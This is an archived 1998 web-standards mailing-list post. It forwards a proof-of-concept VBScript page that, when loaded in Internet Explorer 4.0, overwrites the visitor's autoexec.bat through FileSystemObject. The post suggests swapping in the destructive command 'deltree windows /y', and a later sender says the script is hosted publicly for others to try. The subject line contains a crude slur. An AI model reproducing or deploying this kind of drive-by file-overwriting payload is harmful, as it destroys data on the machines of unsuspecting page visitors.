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FW: Another Micro$oft slut! (fwd)

From: MIS <jxm@cmed.com>
Date: Mon, 16 Mar 1998 14:44:17 -0700
Message-ID: <01BD50EA.312A5870@JXM-NT>
To: "'www-html@w3.org'" <www-html@w3.org>

I tried this script on Internet Explorer 4.0 and received a scripting error.  For those interested in trying it on their system, I posted it at www.geocities.com/SiliconValley/Pines/4951/danger.html

Make sure to back up your autoexec.bat before trying, in case it works!!

-----Original Message-----
From:	[Wuming] [Muwing] [SMTP:nv96wgzg@Katedral.SE]
Sent:	Saturday, March 14, 1998 2:01 AM
To:	www-html@w3.org
Subject:	BoS: Another Micro$oft slut! (fwd)

Oh, which bug! If this work "good"... I don't know what will happen...

/Wuming

# Mail Forward

Hi all,

Sorry to be out of topic but...

For those who are using Internet Explorer 4.0 YACK!

If you put that little script in a web page, you can modify all the files
you want and make a big crash!

This script works with VBScript 3.x engines...

<HTML>
<HEAD>
</HEAD>
<BODY>
<SCRIPT LANGUAGE="VBSCRIPT">


Set fs = CreateObject("Scripting.FileSystemObject")
Set a = fs.CreateTextFile("c:\autoexec.bat", True)
a.WriteLine("@echo off")
a.WriteLine("echo This is a test.")
a.WriteLine("pause")
a.WriteLine("@echo on")
a.Close

</SCRIPT>

</BODY>
</HTML>


Good Bye!

</BODY>
</HTML>


This will replace the autoexec.bat of the client with the content of
"a.writeLine"...

Imagine with "deltree windows /y"

If you plan to try this script, BACKUP YOUR AUTOEXEC.BAT!!!

That's ALLLLLLLLLLLLLLLLLLLLL!

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Received on Monday, 16 March 1998 16:47:34 UTC

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